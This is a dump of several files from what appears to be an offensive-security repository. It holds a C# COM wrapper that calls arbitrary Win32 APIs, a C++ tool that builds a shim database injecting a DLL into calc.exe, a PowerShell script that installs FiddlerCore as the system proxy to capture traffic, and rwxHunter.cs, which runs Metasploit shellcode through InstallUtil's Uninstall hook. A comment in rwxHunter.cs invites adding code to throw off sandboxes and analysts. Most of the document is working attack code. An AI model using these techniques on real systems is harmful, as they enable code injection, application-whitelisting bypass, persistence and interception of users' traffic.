'BwIAAAAkAABSU0EyAAQAAAEAAQBhXtvkSeH85E31z64cAX+X2PWGc6DHP9VaoD13CljtYau9SesUzKVLJdHphY5ppg5clHIGaL7nZbp6qukLH0lLEq/vW979GWzVAgSZaGVCFpuk6p1y69cSr3STlzljJrY76JIjeS4+RhbdWHp99y8QhwRllOC0qu/WxZaffHS2te/PKzIiTuFfcP46qxQoLR8s3QZhAJBnn9TGJkbix8MTgEt7hD1DC2hXv7dKaC531ZWqGXB54OnuvFbD5P2t+vyvZuHNmAy3pX0BDXqwEfoZZ+hiIk1YUDSNOE79zwnpVP1+BN0PK5QCPCS+6zujfRlQpJ+nfHLLicweJ9uT7OG3g/P+JpXGN0/+Hitolufo7Ucjh+WvZAU//dzrGny5stQtTmLxdhZbOsNDJpsqnzwEUfL5+o8OhujBHDm/ZQ0361mVsSVWrmgDPKHGGRx+7FbdgpBEq3m15/4zzg343V9NBwt1+qZU+TSVPU0wRvkWiZRerjmDdehJIboWsx4V8aiWx8FPPngEmNz89tBAQ8zbIrJFfmtYnj1fFmkNu3lglOefcacyYEHPX/tqcBuBIg/cpcDHps/6SGCCciX3tufnEeDMAQjmLku8X4zHcgJx6FpVK7qeEuvyV0OGKvNor9b/WKQHIHjkzG+z6nWHMoMYV5VMTZ0jLM5aZQ6ypwmFZaNmtL6KDzKv8L1YN2TkKjXEoWulXNliBpelsSJyuICplrCTPGGSxPGihT3rpZ9tbLZUefrFnLNiHfVjNi53Yg4=' 20 | $Content = [System.Convert]::FromBase64String($key) 21 | Set-Content key.snk -Value $Content -Encoding Byte 22 | C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe /r:System.EnterpriseServices.dll /target:library /out:DynamicWrapperCS.dll /keyfile:key.snk DynamicWrapperCS.cs 23 | C:\Windows\Microsoft.NET\Framework\v2.0.50727\regsvcs.exe DynamicWrapperCS.dll 24 | 25 | 26 | // Requires Admin Rights to Register 27 | // C:\Windows\Microsoft.NET\Framework\v2.0.50727\regsvcs.exe DynamicWrapperCS.dll 28 | */ 29 | //https://www.add-in-express.com/creating-addins-blog/2011/12/20/type-name-system-comobject/ 30 | 31 | [ComVisible(true)] 32 | [Guid("00000000-ACDC-FACE-9D8E-C0FFEEA5ACDC")] 33 | [ClassInterface(ClassInterfaceType.AutoDispatch)] 34 | [ProgId("DynamicWrapperCS")] 35 | public class DynamicWrapperCS : ServicedComponent 36 | { 37 | 38 | public DynamicWrapperCS() {} //Basic Constructor 39 | 40 | [ComVisible(true)] 41 | public Object Register(string dllName, string strReturnType, 42 | string methodName, string strInputParameterTypes,ref object objParameters) 43 | { 44 | 45 | //COM has no Type class, so do the necessary conversions 46 | Type returnType = Type.GetType(strReturnType); 47 | //Input Parameter Types 48 | int countOfInputParameters = (strInputParameterTypes.Length - 2); 49 | Type[] parameterTypes = new Type[countOfInputParameters]; 50 | for(int i = 2, j = 0; i < strInputParameterTypes.Length; i++, j++) 51 | { 52 | parameterTypes[j] = ConvertStringNameToType(strInputParameterTypes[i]); 53 | } 54 | 55 | 56 | 57 | // Begin to build the dynamic assembly 58 | AppDomain domain = AppDomain.CurrentDomain; 59 | AssemblyName name = new System.Reflection.AssemblyName("PInvokeAssembly"); 60 | AssemblyBuilder assembly = domain.DefineDynamicAssembly(name, AssemblyBuilderAccess.Run); 61 | ModuleBuilder module = assembly.DefineDynamicModule("PInvokeModule"); 62 | TypeBuilder type = module.DefineType("PInvokeType", TypeAttributes.Public | TypeAttributes.BeforeFieldInit); 63 | 64 | // Define the actual P/Invoke method 65 | MethodBuilder method = type.DefineMethod(methodName, MethodAttributes.Public | MethodAttributes.HideBySig | MethodAttributes.Static | MethodAttributes.PinvokeImpl, returnType, parameterTypes); 66 | 67 | // Apply the P/Invoke constructor 68 | ConstructorInfo ctor = typeof (DllImportAttribute).GetConstructor (new Type [] { typeof (string) }); 69 | CustomAttributeBuilder attr = new System.Reflection.Emit.CustomAttributeBuilder(ctor, new Object[] { dllName }); 70 | method.SetCustomAttribute(attr); 71 | 72 | 73 | Object[] parameters = ConvertJsArray(objParameters); 74 | // Create the temporary type, and invoke the method. 75 | Type realType = type.CreateType(); 76 | return realType.InvokeMember(methodName, BindingFlags.Public | BindingFlags.Static | BindingFlags.InvokeMethod, null, null, parameters); 77 | 78 | } 79 | 80 | private Type ConvertStringNameToType(char letter) 81 | { 82 | 83 | switch(letter) 84 | { 85 | case 'l': 86 | return Type.GetType("System.Int32"); 87 | case 's': 88 | return Type.GetType("System.String"); 89 | default: 90 | return Type.GetType("System.Object"); 91 | 92 | } 93 | } 94 | 95 | private object[] ConvertJsArray(object jsArray) 96 | { 97 | int arrayLength = (int) jsArray.GetType().InvokeMember("length", BindingFlags.GetProperty, null, jsArray , new object[] { }); 98 | object[] array = new object[arrayLength]; 99 | 100 | for (int index = 0; index < arrayLength; index++) 101 | { 102 | array[index] = jsArray.GetType().InvokeMember(index.ToString(), BindingFlags.GetProperty, null, jsArray, new object[] { }); 103 | } 104 | 105 | return array; 106 | } 107 | 108 | 109 | [ComVisible(true)] 110 | public Object InvokeWin32(string dllName, Type returnType, 111 | string methodName, Type[] parameterTypes, Object[] parameters) 112 | { 113 | 114 | 115 | // Begin to build the dynamic assembly 116 | AppDomain domain = AppDomain.CurrentDomain; 117 | AssemblyName name = new System.Reflection.AssemblyName("PInvokeAssembly"); 118 | AssemblyBuilder assembly = domain.DefineDynamicAssembly(name, AssemblyBuilderAccess.Run); 119 | ModuleBuilder module = assembly.DefineDynamicModule("PInvokeModule"); 120 | TypeBuilder type = module.DefineType("PInvokeType", TypeAttributes.Public | TypeAttributes.BeforeFieldInit); 121 | 122 | // Define the actual P/Invoke method 123 | MethodBuilder method = type.DefineMethod(methodName, MethodAttributes.Public | MethodAttributes.HideBySig | MethodAttributes.Static | MethodAttributes.PinvokeImpl, returnType, parameterTypes); 124 | 125 | // Apply the P/Invoke constructor 126 | ConstructorInfo ctor = typeof (DllImportAttribute).GetConstructor (new Type [] { typeof (string) }); 127 | CustomAttributeBuilder attr = new System.Reflection.Emit.CustomAttributeBuilder(ctor, new Object[] { dllName }); 128 | method.SetCustomAttribute(attr); 129 | 130 | // Create the temporary type, and invoke the method. 131 | Type realType = type.CreateType(); 132 | return realType.InvokeMember(methodName, BindingFlags.Public | BindingFlags.Static | BindingFlags.InvokeMethod, null, null, parameters); 133 | } 134 | 135 | [ComVisible(true)] 136 | public Object MessageBox(Int32 hWnd, string lpText, string lpCaption, Int32 uType) 137 | { 138 | Type[] parameterTypes = { Type.GetType("System.Int32"), Type.GetType("System.String"),Type.GetType("System.String"),Type.GetType("System.Int32")}; 139 | Object[] parameters = {hWnd, lpText, lpCaption, uType}; 140 | 141 | return InvokeWin32("user32.dll", Type.GetType("System.Int32"), "MessageBoxA", parameterTypes, parameters ); 142 | } 143 | 144 | 145 | 146 | 147 | } -------------------------------------------------------------------------------- /cve-2014-6332_win7_ie11_poc.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 15 | 16 | 17 | 18 | 19 | 20 | 43 | 44 | 150 | 151 | 260 | 261 | -------------------------------------------------------------------------------- /dllinjshim.cpp: -------------------------------------------------------------------------------- 1 | /* 2 | 3 | -------- dllinjshim.cpp -------- 4 | 5 | > cl /Fe:dllinjshim.exe dllinjshim.cpp 6 | > dllinjshim.exe 7 | > sdbinst moo.sdb 8 | 9 | ------------------------------------ 10 | 11 | */ 12 | 13 | #include 14 | #include 15 | 16 | #define INJECTED_DLL_NAME L"moo.dll" 17 | 18 | #define EXECUTABLE_NAME L"calc.exe" 19 | #define OS_PLATFORM 4 /* 0x1 : 32-bit ; 0x04 : 64-bit */ 20 | 21 | 22 | #define TAGID_NULL 0 23 | 24 | #define TAG_TYPE_LIST 0x7000 25 | #define TAG_DATABASE (0x1 | TAG_TYPE_LIST) 26 | #define TAG_LIBRARY (0x2 | TAG_TYPE_LIST) 27 | #define TAG_INEXCLUDE (0x3 | TAG_TYPE_LIST) 28 | #define TAG_SHIM (0x4 | TAG_TYPE_LIST) 29 | #define TAG_EXE (0x7 | TAG_TYPE_LIST) 30 | #define TAG_MATCHING_FILE (0x8 | TAG_TYPE_LIST) 31 | #define TAG_SHIM_REF (0x9 | TAG_TYPE_LIST) 32 | 33 | #define TAG_TYPE_DWORD 0x4000 34 | #define TAG_OS_PLATFORM (0x23| TAG_TYPE_DWORD) 35 | 36 | #define TAG_TYPE_STRINGREF 0x6000 37 | #define TAG_NAME (0x1 | TAG_TYPE_STRINGREF) 38 | #define TAG_MODULE (0x3 | TAG_TYPE_STRINGREF) 39 | #define TAG_APP_NAME (0x6 | TAG_TYPE_STRINGREF) 40 | #define TAG_DLLFILE (0xA | TAG_TYPE_STRINGREF) 41 | 42 | #define TAG_TYPE_BINARY 0x9000 43 | #define TAG_EXE_ID (0x4 | TAG_TYPE_BINARY) 44 | #define TAG_DATABASE_ID (0x7 | TAG_TYPE_BINARY) 45 | 46 | #define TAG_TYPE_NULL 0x1000 47 | #define TAG_INCLUDE (0x1 | TAG_TYPE_NULL) 48 | 49 | typedef enum _PATH_TYPE { 50 | DOS_PATH, 51 | NT_PATH 52 | } PATH_TYPE; 53 | 54 | typedef HANDLE PDB; 55 | typedef DWORD TAG; 56 | typedef DWORD INDEXID; 57 | typedef DWORD TAGID; 58 | 59 | typedef struct tagATTRINFO { 60 | TAG tAttrID; 61 | DWORD dwFlags; 62 | union { 63 | ULONGLONG ullAttr; 64 | DWORD dwAttr; 65 | TCHAR *lpAttr; 66 | }; 67 | } ATTRINFO, *PATTRINFO; 68 | 69 | typedef PDB (WINAPI *SdbCreateDatabasePtr)(LPCWSTR, PATH_TYPE); 70 | typedef VOID (WINAPI *SdbCloseDatabaseWritePtr)(PDB); 71 | typedef TAGID (WINAPI *SdbBeginWriteListTagPtr)(PDB, TAG); 72 | typedef BOOL (WINAPI *SdbEndWriteListTagPtr)(PDB, TAGID); 73 | typedef BOOL (WINAPI *SdbWriteStringTagPtr)(PDB, TAG, LPCWSTR); 74 | typedef BOOL (WINAPI *SdbWriteDWORDTagPtr)(PDB, TAG, DWORD); 75 | typedef BOOL (WINAPI *SdbWriteBinaryTagPtr)(PDB, TAG, PBYTE, DWORD); 76 | typedef BOOL (WINAPI *SdbWriteNULLTagPtr)(PDB, TAG); 77 | 78 | typedef struct _APPHELP_API { 79 | SdbCreateDatabasePtr SdbCreateDatabase; 80 | SdbCloseDatabaseWritePtr SdbCloseDatabaseWrite; 81 | SdbBeginWriteListTagPtr SdbBeginWriteListTag; 82 | SdbEndWriteListTagPtr SdbEndWriteListTag; 83 | SdbWriteStringTagPtr SdbWriteStringTag; 84 | SdbWriteDWORDTagPtr SdbWriteDWORDTag; 85 | SdbWriteBinaryTagPtr SdbWriteBinaryTag; 86 | SdbWriteNULLTagPtr SdbWriteNULLTag; 87 | } APPHELP_API, *PAPPHELP_API; 88 | 89 | BOOL static LoadAppHelpFunctions(HMODULE hAppHelp, PAPPHELP_API pAppHelp) { 90 | if (!(pAppHelp->SdbBeginWriteListTag = (SdbBeginWriteListTagPtr)GetProcAddress(hAppHelp, "SdbBeginWriteListTag"))) { 91 | fprintf(stderr, "[-] GetProcAddress(..., \"SdbBeginWriteListTag\")\n"); 92 | return FALSE; 93 | } 94 | if (!(pAppHelp->SdbCloseDatabaseWrite = (SdbCloseDatabaseWritePtr)GetProcAddress(hAppHelp, "SdbCloseDatabaseWrite"))) { 95 | fprintf(stderr, "[-] GetProcAddress(..., \"SdbCloseDatabaseWrite\")\n"); 96 | return FALSE; 97 | } 98 | if (!(pAppHelp->SdbCreateDatabase = (SdbCreateDatabasePtr)GetProcAddress(hAppHelp, "SdbCreateDatabase"))) { 99 | fprintf(stderr, "[-] GetProcAddress(..., \"SdbCreateDatabase\")\n"); 100 | return FALSE; 101 | } 102 | if (!(pAppHelp->SdbEndWriteListTag = (SdbEndWriteListTagPtr)GetProcAddress(hAppHelp, "SdbEndWriteListTag"))) { 103 | fprintf(stderr, "[-] GetProcAddress(..., \"SdbEndWriteListTag\")\n"); 104 | return FALSE; 105 | } 106 | if (!(pAppHelp->SdbWriteBinaryTag = (SdbWriteBinaryTagPtr)GetProcAddress(hAppHelp, "SdbWriteBinaryTag"))) { 107 | fprintf(stderr, "[-] GetProcAddress(..., \"SdbWriteBinaryTag\")\n"); 108 | return FALSE; 109 | } 110 | if (!(pAppHelp->SdbWriteDWORDTag = (SdbWriteDWORDTagPtr)GetProcAddress(hAppHelp, "SdbWriteDWORDTag"))) { 111 | fprintf(stderr, "[-] GetProcAddress(..., \"SdbWriteDWORDTag\")\n"); 112 | return FALSE; 113 | } 114 | if (!(pAppHelp->SdbWriteStringTag = (SdbWriteStringTagPtr)GetProcAddress(hAppHelp, "SdbWriteStringTag"))) { 115 | fprintf(stderr, "[-] GetProcAddress(..., \"SdbWriteStringTag\")\n"); 116 | return FALSE; 117 | } 118 | if (!(pAppHelp->SdbWriteNULLTag = (SdbWriteNULLTagPtr)GetProcAddress(hAppHelp, "SdbWriteNULLTag"))) { 119 | fprintf(stderr, "[-] GetProcAddress(..., \"SdbWriteNULLTag\")\n"); 120 | return FALSE; 121 | } 122 | return TRUE; 123 | } 124 | 125 | BOOL static DoStuff(PAPPHELP_API pAppHelp) 126 | { 127 | PDB db = NULL; 128 | TAGID tIdDatabase; 129 | TAGID tIdLibrary; 130 | TAGID tIdShim; 131 | TAGID tIdInexclude; 132 | TAGID tIdExe; 133 | TAGID tIdMatchingFile; 134 | TAGID tIdShimRef; 135 | 136 | db = pAppHelp->SdbCreateDatabase(L"moo.sdb", DOS_PATH); 137 | if (db == NULL) { 138 | fprintf(stderr, "[-] SdbCreateDatabase failed : %lu\n", GetLastError()); 139 | return FALSE; 140 | } 141 | tIdDatabase = pAppHelp->SdbBeginWriteListTag(db, TAG_DATABASE); 142 | pAppHelp->SdbWriteDWORDTag(db, TAG_OS_PLATFORM, OS_PLATFORM); 143 | pAppHelp->SdbWriteStringTag(db, TAG_NAME, L"moo_Database"); 144 | pAppHelp->SdbWriteBinaryTag(db, TAG_DATABASE_ID, "\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42", 0x10); 145 | tIdLibrary = pAppHelp->SdbBeginWriteListTag(db, TAG_LIBRARY); 146 | tIdShim = pAppHelp->SdbBeginWriteListTag(db, TAG_SHIM); 147 | pAppHelp->SdbWriteStringTag(db, TAG_NAME, L"moo_Shim"); 148 | pAppHelp->SdbWriteStringTag(db, TAG_DLLFILE, INJECTED_DLL_NAME); 149 | tIdInexclude = pAppHelp->SdbBeginWriteListTag(db, TAG_INEXCLUDE); 150 | pAppHelp->SdbWriteNULLTag(db, TAG_INCLUDE); 151 | pAppHelp->SdbWriteStringTag(db, TAG_MODULE, L"*"); 152 | pAppHelp->SdbEndWriteListTag(db, tIdInexclude); 153 | pAppHelp->SdbEndWriteListTag(db, tIdShim); 154 | pAppHelp->SdbEndWriteListTag(db, tIdLibrary); 155 | tIdExe = pAppHelp->SdbBeginWriteListTag(db, TAG_EXE); 156 | pAppHelp->SdbWriteStringTag(db, TAG_NAME, EXECUTABLE_NAME); 157 | pAppHelp->SdbWriteStringTag(db, TAG_APP_NAME, L"moo_Apps"); 158 | pAppHelp->SdbWriteBinaryTag(db, TAG_EXE_ID, "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41", 0x10); 159 | tIdMatchingFile = pAppHelp->SdbBeginWriteListTag(db, TAG_MATCHING_FILE); 160 | pAppHelp->SdbWriteStringTag(db, TAG_NAME, L"*"); 161 | pAppHelp->SdbEndWriteListTag(db, tIdMatchingFile); 162 | tIdShimRef = pAppHelp->SdbBeginWriteListTag(db, TAG_SHIM_REF); 163 | pAppHelp->SdbWriteStringTag(db, TAG_NAME, L"moo_Shim"); 164 | pAppHelp->SdbEndWriteListTag(db, tIdShimRef); 165 | pAppHelp->SdbEndWriteListTag(db, tIdExe); 166 | pAppHelp->SdbEndWriteListTag(db, tIdDatabase); 167 | pAppHelp->SdbCloseDatabaseWrite(db); 168 | return TRUE; 169 | } 170 | 171 | int main(int argc, char *argv[]) { 172 | APPHELP_API api = {0}; 173 | HMODULE hAppHelp = NULL; 174 | 175 | hAppHelp = LoadLibraryA("apphelp.dll"); 176 | if (hAppHelp == NULL) { 177 | fprintf(stderr, "[-] LoadLibrary failed %lu\n", GetLastError()); 178 | return 1; 179 | } 180 | if (LoadAppHelpFunctions(hAppHelp, &api) == FALSE) { 181 | printf("[-] Failed to load apphelp api %lu!\n", GetLastError()); 182 | return 1; 183 | } 184 | DoStuff(&api); 185 | return 0; 186 | } -------------------------------------------------------------------------------- /Invoke-Fiddler.ps1: -------------------------------------------------------------------------------- 1 | <# 2 | Assumes that Fiddler Core Libraries are in same directory as this script. 3 | http://www.telerik.com/fiddler/fiddlercore 4 | This script uses Fiddler Core 4 5 | #> 6 | 7 | function Start-Fiddler { 8 | <# 9 | .Synopsis 10 | Uses FiddlerCore to listen on a specified port. 11 | 12 | .Description 13 | Start-Fiddler loads the FiddlerCore DLL and uses Fiddler.FiddlerApplication to listen on a specified port. 14 | When http(s) traffic is generated Fiddler logs the traffic. The result is exposed through a job interface. 15 | Start-Fiddler requires FiddlerCore which allows you to integrate HTTP/HTTPS traffic viewing and modification capabilities into your .NET application. 16 | 17 | .PARAMETER ListenPort 18 | Specifies the Port that Fiddler listens to. 19 | 20 | .PARAMETER RegisterAsSystemProxy 21 | Registers as the system proxy, default set to False. 22 | 23 | .Example 24 | Start-Fiddler -ListenPort 8877 -RegisterAsSystemProxy 25 | Starts Fiddler and listens to Port 8877, registers as the system proxy. 26 | 27 | .Example 28 | Start-Fiddler -ListenPort 8877 -RegisterAsSystemProxy -Whatif 29 | Displays what would happen if you run Start-Fiddler. 30 | 31 | .NOTES 32 | Start-Fiddler requires FiddlerCore which allows you to integrate HTTP/HTTPS traffic viewing and modification capabilities into your .NET application. 33 | 34 | .LINK 35 | https://www.fiddler2.com/fiddler/core/ 36 | #> 37 | 38 | [cmdletbinding(SupportsShouldProcess = $true)] 39 | param( 40 | [Parameter( 41 | Mandatory = $true, 42 | Position = 0)] 43 | [int]$ListenPort, 44 | [switch]$RegisterAsSystemProxy 45 | ) 46 | 47 | Process { 48 | Try { 49 | # Start FiddlerApplication 50 | if(-not([Fiddler.FiddlerApplication]::IsStarted())) { 51 | if($psCmdlet.ShouldProcess("[Fiddler.FiddlerApplication]","Startup")) { 52 | $FiddlerCoreStarupFlags = [Fiddler.FiddlerCoreStartupFlags]::DecryptSsl -band [Fiddler.FiddlerCoreStartupFlags]::RegisterAsSystemProxy -band [Fiddler.FiddlerCoreStartupFlags]::ChainToUpstreamProxy 53 | #[Fiddler.FiddlerApplication]::StartUp($ListenPort,$RegisterAsSystemProxy,$true) #This is the deprecated calling Convention. New version uses FiddlerCoreStartupFlags 54 | [Fiddler.FiddlerApplication]::StartUp($ListenPort,$RegisterAsSystemProxy,$true) 55 | 56 | } 57 | } else { 58 | Write-Verbose "FiddlerApplication is already started" 59 | } 60 | } 61 | Catch { 62 | $error[0] 63 | Continue 64 | } 65 | Try { 66 | if(-not(Get-EventSubscriber | Where-Object { $_.EventName -eq "BeforeRequest" })) { 67 | if($psCmdlet.ShouldProcess("BeforeRequest","Register-ObjectEvent")) { 68 | $fiddlerApplication = [Fiddler.FiddlerApplication] 69 | # Register Event 70 | $fiddlerApplicationBeforeRequest = Register-ObjectEvent -InputObject $fiddlerApplication -EventName 'BeforeRequest' -Action { 71 | $args | Select-Object *; 72 | } 73 | # Store SourceIdentifier in Script Variable 74 | $script:FiddlerEventIdentifier = (Get-EventSubscriber | Where-Object { $_.EventName -eq "BeforeRequest" }).SourceIdentifier 75 | # Store job in Script Variable 76 | $script:FiddlerJobID = $fiddlerApplicationBeforeRequest.Id 77 | } 78 | } else { 79 | Write-Verbose "Eventsubscriber already exists" 80 | } 81 | } 82 | Catch { 83 | $error[0] 84 | Continue 85 | } 86 | } 87 | } 88 | 89 | function Stop-Fiddler { 90 | 91 | <# 92 | .Synopsis 93 | Stops Fiddler. 94 | 95 | .Description 96 | Stop-Fiddler Unregisters the Fiddler Event, Removes the Jobs associated with it and Clears the Script Variables used between the functions. 97 | 98 | .Example 99 | Stop-Fiddler 100 | Unregisters the Fiddler event, Removes any Jobs associated with the event and clears the Script Variables used. 101 | 102 | .Example 103 | Stop-Fiddler -Verbose 104 | Unregisters the Fiddler event, Removes any Jobs associated with the event and clears the Script Variables used and writes a verbose messages. 105 | 106 | .Example 107 | Stop-Fiddler -Whatif 108 | Displays what would happen if you run Stop-Fiddler. 109 | 110 | .NOTES 111 | Stop-Fiddler requires FiddlerCore which allows you to integrate HTTP/HTTPS traffic viewing and modification capabilities into your .NET application. 112 | 113 | .LINK 114 | https://www.fiddler2.com/fiddler/core/ 115 | #> 116 | 117 | [cmdletbinding(SupportsShouldProcess = $true)] 118 | param() 119 | 120 | # Unregister Event 121 | if(Get-EventSubscriber | Where-Object { $_.SourceIdentifier -eq $FiddlerEventIdentifier }) { 122 | if($psCmdlet.ShouldProcess($FiddlerEventIdentifier,"Unregister-Event")) { 123 | Get-EventSubscriber -SourceIdentifier $FiddlerEventIdentifier | Unregister-Event 124 | Write-Verbose "FiddlerEvent $FiddlerEventIdentifier unregistered" 125 | } 126 | } 127 | 128 | # Stop and Remove Jobs 129 | if(Get-Job | Where-Object { $_.Id -eq $fiddlerJobId }) { 130 | if($psCmdlet.ShouldProcess($fiddlerJobId,"Stop-Job")) { 131 | Get-Job -Id $fiddlerJobId | Stop-Job 132 | Write-Verbose "FiddlerJob: $fiddlerJobId Stopped" 133 | } 134 | if($psCmdlet.ShouldProcess($fiddlerJobId,"Remove-Job")) { 135 | Get-Job -Id $fiddlerJobId | Remove-Job -Force 136 | Write-Verbose "FiddlerJob: $fiddlerJobId Removed" 137 | } 138 | } 139 | 140 | # Shutdown Fiddler 141 | if([appdomain]::currentdomain.GetAssemblies() | Where { $_.ManifestModule.ToString() -eq "FiddlerCore.dll" }) { 142 | if($psCmdlet.ShouldProcess("[Fiddler.FiddlerApplication]","ShutDown")) { 143 | [Fiddler.FiddlerApplication]::Shutdown() 144 | Write-Verbose "FiddlerApplication shutdown" 145 | } 146 | } else { 147 | Write-Warning "FiddlerCore not added. Unable to run Shutdown() method." 148 | } 149 | # Nullify Script Variables 150 | if($psCmdlet.ShouldProcess("FiddlerVariables","Clear-Variable")) { 151 | $script:FiddlerEventIdentifier = $null 152 | $script:FiddlerJobID = $null 153 | } 154 | } 155 | 156 | function Receive-Fiddler { 157 | 158 | <# 159 | .Synopsis 160 | Gets the results of the Fiddler background job in the current session. 161 | 162 | .Description 163 | Receive-Fiddler gets the results of the Windows PowerShell background jobs in the current session. 164 | By default, the result is deleted from the system when you receive them, you can use the Keep parameter 165 | to save the results so that you can receive them again. 166 | 167 | .Example 168 | Receive-Fiddler 169 | Gets the results from a Fiddler job. 170 | 171 | .Example 172 | Receive-Fiddler -Keep 173 | Gets the results from a Fiddler job and saves the results so that you can receive them again. 174 | 175 | .Example 176 | Receive-Fiddler -Whatif 177 | Displays what would happen if you run Receive-Fiddler. 178 | 179 | .NOTES 180 | Receive-Fiddler requires FiddlerCore which allows you to integrate HTTP/HTTPS traffic viewing and modification capabilities into your .NET application. 181 | 182 | .LINK 183 | https://www.fiddler2.com/fiddler/core/ 184 | #> 185 | 186 | [cmdletbinding(SupportsShouldProcess = $true)] 187 | param([switch]$Keep) 188 | if($fiddlerJobId -is [int]) { 189 | if(Get-Job | Where-Object { $_.Id -eq $fiddlerJobId }) { 190 | if($psCmdlet.ShouldProcess($fiddlerJobId,"Receive-Job")) { 191 | Receive-Job -Id $fiddlerJobId -Keep:$Keep 192 | } 193 | } 194 | } 195 | } 196 | 197 | # Write a Loop, or Just Embed Base64 For an all in one script 198 | # I left it explicit here so it was clear what is being loaded. 199 | 200 | $Content = Get-Content -Path FiddlerCore4.dll -Encoding Byte 201 | $FiddlerCore4Dll = [System.Convert]::ToBase64String($Content) 202 | [System.Reflection.Assembly]::Load([System.Convert]::FromBase64String($FiddlerCore4Dll)) 203 | $Content = Get-Content -Path Certmaker.dll -Encoding Byte 204 | $CertMakerDll = [System.Convert]::ToBase64String($Content) 205 | [System.Reflection.Assembly]::Load([System.Convert]::FromBase64String($CertMakerDll)) 206 | $Content = Get-Content -Path BCMakeCert.dll -Encoding Byte 207 | $BCMakeCertDll = [System.Convert]::ToBase64String($Content) 208 | [System.Reflection.Assembly]::Load([System.Convert]::FromBase64String($BCMakeCertDll)) 209 | 210 | Write-Verbose 'Fiddler Core Assemblies Loaded' 211 | Start-Fiddler -ListenPort 8888 -RegisterAsSystemProxy -Verbose 212 | while($true) 213 | { 214 | Receive-Fiddler -Keep 215 | } -------------------------------------------------------------------------------- /rwxHunter.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Net; 3 | using System.Diagnostics; 4 | using System.Reflection; 5 | using System.Configuration.Install; 6 | using System.Runtime.InteropServices; 7 | 8 | /* 9 | Author: Casey Smith, Twitter: @subTee 10 | License: BSD 3-Clause 11 | Step One: 12 | C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /unsafe /platform:x86 /out:rwxhunter.exe rwxhunter.cs 13 | Step Two: 14 | C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe /U rwxhunter.exe 15 | 16 | 17 | */ 18 | 19 | 20 | //root@infosec:~# msfvenom --payload windows/exec CMD=calc.exe EXITFUNC=thread 21 | 22 | 23 | 24 | public class Program 25 | { 26 | public static void Main() 27 | { 28 | Console.WriteLine("Hey There From Main()"); 29 | //Add any behaviour here to throw off sandbox execution/analysts :) 30 | 31 | } 32 | 33 | } 34 | 35 | [System.ComponentModel.RunInstaller(true)] 36 | public class Sample : System.Configuration.Install.Installer 37 | { 38 | //The Methods can be Uninstall/Install. Install is transactional, and really unnecessary. 39 | public override void Uninstall(System.Collections.IDictionary savedState) 40 | { 41 | 42 | Console.WriteLine("Hello There From Uninstall"); 43 | uint a = Shellcode.Hunt(); 44 | if(a>0) 45 | { 46 | Console.WriteLine("Found Space\n"); 47 | Shellcode.Exec (a); 48 | } 49 | else 50 | { 51 | Console.WriteLine("Created Space"); 52 | Shellcode.Exec(); 53 | } 54 | } 55 | 56 | } 57 | 58 | public class Shellcode 59 | { 60 | 61 | public static UInt32 Hunt() 62 | { 63 | long MaxAddress = 0x7fffffff; 64 | long address = 0; 65 | do 66 | { 67 | MEMORY_BASIC_INFORMATION m; 68 | int result = VirtualQueryEx(System.Diagnostics.Process.GetCurrentProcess().Handle, (IntPtr)address, out m, (uint)Marshal.SizeOf(typeof(MEMORY_BASIC_INFORMATION))); 69 | if(m.AllocationProtect == (uint)AllocationProtect.PAGE_EXECUTE_READWRITE) 70 | { 71 | Console.Write("{0}\n",m.BaseAddress.ToString("X4")); 72 | return (UInt32)m.BaseAddress; 73 | } 74 | if (address == (long)m.BaseAddress + (long)m.RegionSize) 75 | break; 76 | address = (long)m.BaseAddress + (long)m.RegionSize; 77 | } while (address <= MaxAddress); 78 | 79 | return 0; 80 | } 81 | 82 | 83 | 84 | public static void Exec() 85 | { 86 | // native function's compiled code 87 | // generated with metasploit 88 | byte[] shellcode = new byte[193] { 89 | 0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30, 90 | 0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff, 91 | 0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf2,0x52, 92 | 0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x01,0xd1, 93 | 0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b, 94 | 0x01,0xd6,0x31,0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03, 95 | 0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b, 96 | 0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24, 97 | 0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb, 98 | 0x8d,0x5d,0x6a,0x01,0x8d,0x85,0xb2,0x00,0x00,0x00,0x50,0x68,0x31,0x8b,0x6f, 99 | 0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x68,0xa6,0x95,0xbd,0x9d,0xff,0xd5, 100 | 0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a, 101 | 0x00,0x53,0xff,0xd5,0x63,0x61,0x6c,0x63,0x2e,0x65,0x78,0x65,0x00 }; 102 | 103 | 104 | 105 | UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode .Length, 106 | MEM_COMMIT, PAGE_EXECUTE_READWRITE); 107 | Marshal.Copy(shellcode , 0, (IntPtr)(funcAddr), shellcode .Length); 108 | IntPtr hThread = IntPtr.Zero; 109 | UInt32 threadId = 0; 110 | // prepare data 111 | 112 | 113 | IntPtr pinfo = IntPtr.Zero; 114 | 115 | // execute native code 116 | 117 | hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId); 118 | WaitForSingleObject(hThread, 0xFFFFFFFF); 119 | return; 120 | 